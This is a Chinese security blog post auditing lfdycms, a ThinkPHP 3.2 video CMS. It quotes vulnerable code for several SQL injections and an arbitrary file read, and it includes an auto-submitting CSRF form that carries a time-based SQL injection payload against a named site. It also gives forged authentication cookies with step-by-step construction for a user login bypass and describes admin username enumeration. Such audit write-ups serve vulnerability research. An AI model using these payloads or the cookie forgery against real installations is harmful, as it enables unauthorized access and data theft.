lfdycms审计

前段时间审计的一个CMS,分享一下

lfdycms简介

lfdycms是基于thinkphp3.2开发的影视CMS

漏洞

前台SQL注入

thinkphp 3.2的find、select、delete存在SQL注入漏洞

原理:https://xz.aliyun.com/t/2629#toc-1

搜索电影注入

这里使用了存在漏洞的detail方法

Application/Home/Controller/MovieController.class.php

public function index(){
    $id=I('id');
    $info=D("Movie")->detail($id);
    if(!$info){
    $error = D("Movie")->getError();
    $this->error(empty($error) ? '未找到该影片!' : $error,U('Home/Index/index'));
    }
    $info=D("Tag")->movieChange($info,"movie",1);
    $tpl=D("Category")->getTpl($info['cid'],'template_detail');
    if(!$tpl){
    $error = D("Category")->getError();
    $this->error(empty($error) ? '未知错误!' : $error);
    }
    Cookie('__forward__',$_SERVER['REQUEST_URI']);
    D('Movie')->hits($id);
    $this->assign('pos',1);
    $this->assign($info);
    $this->display(".".$this->tplpath."/".$tpl);
}

Application/Home/Model/MovieModel.class.php

/**
 * 获取详情页数据
 * @param  integer $id 文档ID
 * @return array       详细数据
 */
public function detail($id){
	$info = $this->field(true)->find($id);
	if(!(is_array($info) || 1 !== $info['status'] || 1 !== $info['display'])){
		$this->error = '影片被禁用或已删除!';
		return false;
	}
	return $info;
}

搜索存在漏洞的detail方法,可以看到home模块下有四个可利用的点,查了下CNVD,都被人报上去了,还看到一个Ajaxcontroller.class.php控制器拼接参数的注入

搜索结果

其他几个也是这样,就不写了

随机返回电影注入

还有拼接参数的

Application/Home/Controller/AjaxController.class.php

public function randMovie(){
    $data=D('Ajax')->randMovie(I('limit'),I('category'));
    $this->ajaxReturn($data);
}

Application/Home/Model/AjaxModel.class.php

public function randMovie($limit=6,$category=''){
	if($category){
		$type='and category='.$category;
	}
	$prefix=C('DB_PREFIX');
	$mlist=M()->query('SELECT * FROM `'.$prefix.'movie` AS t1 JOIN (SELECT ROUND(RAND() * ((SELECT MAX(id) FROM `'.$prefix.'movie`)-(SELECT MIN(id) FROM `'.$prefix.'movie`))+(SELECT MIN(id) FROM `'.$prefix.'movie`)) AS idx) AS t2 WHERE t1.id >= t2.idx '.$type.' ORDER BY t1.id LIMIT '.$limit);
	foreach($mlist as $key=>$value){
		$list[$key]=D('Tag')->movieChange($value,'movie');
	}
	return $list;
}

普通用户发送信息注入

必须用GET,这里可以看成前台,因为普通用户可以认证绕过

Application/User/Controller/MessageController.class.php的add方法调用存在漏洞的get_user_name方法

public function add(){
    if(IS_POST){
        $rs = D('Message')->send();
        if($rs){
            $this->success('信息发送成功!');
        } else {
            $this->error(D('Message')->getError());
        }
    } else {
	if($_GET['uid']){
		$this->username=get_user_name(I('get.uid'));
		$this->type=1;
	}
        $this->display();
    }
}

Application/Common/Common/function.php的get_user_name方法,这里使用find方法导致产生SQL注入漏洞

/**
 * 根据用户ID获取用户昵称
 * @param  integer $uid 用户ID
 * @return string       用户昵称
 */
function get_user_name($uid = 0){
	$info = M('Users')->field('username')->find($uid);
	if($info !== false && $info['username'] ){
		$name = $info['username'];
	} else {
		$name = '';
	}
    return $name;
}

后台SQL注入

发送信息注入

管理员后台发送信息位置存在SQL注入,和普通用户原理是一样的

后台删除影片注入

Application/Admin/Controller/MovieController.class.php

public function delurl($pid = null){
       //删除影片地址
       $res = M('movie_url')->delete($pid);
       if($res !== false){
           $this->success('删除影片播放地址成功!');
       }else{
           $this->error('删除影片播放地址失败!');
       }
}

CSRF

thinkphp有验证令牌的方法autoCheckToken()可以用于防止CSRF,位于ThinkPHP/Library/Think/Model.class.php,管理员后台的用户添加功能就调用了这个方法,因此无法通过CSRF添加用户(不过能添加也不行,这操作太明显了)

发送消息功能并没有CSRF防护,测试SQL注入的POC

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://lfdycms.tlmssfs.com/admin.php" name=formname>
      <input type="hidden" name="s" value="&#47;Message&#47;add&#46;html" />
      <input type="hidden" name="id&#91;alias&#93;" value="where&#32;1&#32;and&#32;sleep&#40;5&#41;&#45;&#45;" />
    </form>
<script type="text/javascript">document.formname.submit()</script>
  </body>
</html>

用户遍历

http://lfdycms.tlmssfs.com/admin.php?s=/Public/login.html

管理员登录报错信息会提示用户不存在,如果能识别验证码就能遍历用户,实在不行手测也是可以的

Application/Admin/Controller/PublicController.class.php

/**
    * 后台用户登录
    */
   public function login($username = null, $password = null, $passcode = null){
       if(IS_POST){
           /* 检测验证码 TODO: */
          	if(!check_verify($passcode)){
              	$this->error("验证码错误!");
           }

           $uid = D('Public')->login($username, $password);
           if(0 < $uid){ //UC登录成功
               $this->success('登录成功!', U('Index/index'));
           } else { //登录失败
               switch($uid) {
                   case -1: $error = '用户不存在或被禁用!'; break; //系统级别禁用
                   case -2: $error = '密码错误!'; break;
                   default: $error = '未知错误!'; break; // 0-接口参数错误(调试阶段使用)
               }
               $this->error($error);
           }
       } else {
           if(is_login()){
               $this->redirect('Index/index');
           }else{
               /* 读取数据库中的配置 */
			$config =   S('DB_CONFIG_DATA');
			if(!$config){
				$config =  config_lists();
				S('DB_CONFIG_DATA',$config);
			}
			C($config); //添加配置
               
               $this->display();
           }
       }
   }

普通用户认证绕过

认证绕过和审计过的另一个CMS代码基本一样,这还是陈年老认证代码啊。。。

构造cookie就可以登录

lf_users_user_auth_sign=65ec3b63342f804c7b2b97fbf88cda5550544cd7
lf_users_user_auth=think%3A%7B%22uid%22%3A%2215%22%2C%22username%22%3A%22wdnmd%22%7D

构造过程如下

  1. lf_users_user_auth构造如下格式字符,里面的值只要uid的值存在就可以查到对应用户的其它信息,uid从15开始

    think:{“uid”:”15”,”username”:”2222”}

  2. 把lf_users_user_auth用http_build_query函数格式化为形如uid=15&username=2222的字符串

  3. 对第二步构造的字符串用sha1生成摘要,作为签名 lf_users_user_auth_sign

Application/Common/Common/function.php

/**
 *检测用户是否登录
*@returninteger 0-未登录,大于0-当前登录用户ID
 */
function is_user_login(){
    $user = cookie('user_auth');
    if (empty($user)) {
        return 0;
    } else {
        return cookie('user_auth_sign') == data_auth_sign($user) ? $user['uid'] : 0;
    }
}

/**
 * 数据签名认证
 * @param  array  $data 被认证的数据
 * @return string       签名
 */
function data_auth_sign($data) {
    //数据类型检测
    if(!is_array($data)){
        $data = (array)$data;
    }
    ksort($data); //排序
    $code = http_build_query($data); //url编码并生成query字符串
    $sign = sha1($code); //生成签名
    return $sign;
}

任意文件读取

管理后台模板管理处读取任意文件,获取文件路径只是简单的把*换成了/,经测试成功读取数据库配置文件

Application/Admin/Controller/TemplateController.class.php

public function edit($path = null){
......
		$path = realpath(C('TPL_PATH').str_replace('*','/',$_GET['path']));
		$content=Storage::read($path);
		$type=substr(strrchr($path, '.'), 1);
		switch($type){ 
		case "css":
			$mode="css";
		break;
		case "js":
			$mode="application/javascript";
		break;
		default:
			$mode="application/x-httpd-php";
		break;
		}
		$this->assign('title', basename($path));
		$this->assign('path', $this->file_path($path));
		$this->assign('mode', $mode);
    $this->assign('content', $content);
    $this->meta_title = '编辑模板';
    $this->display();
......
}

另外还有一点,这里虽然没法编辑,但是提交编辑请求后抓包可以得到文件绝对路径

总结

  1. 学到了thinkphp3的一些开发知识,感觉与thinkphp5区别不大,单字母命名的函数不太友好。。
  2. 即使是框架的二次开发,也会存在拼接SQL语句的情况,原因不尽相同,有的是没法拼接,有的是不方便或者开发者偷懒。
  3. 看到CNVD上有人报RCE,我大概看了下,没找到,改日研究

参考

https://xz.aliyun.com/t/2629

https://www.kancloud.cn/manual/thinkphp


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!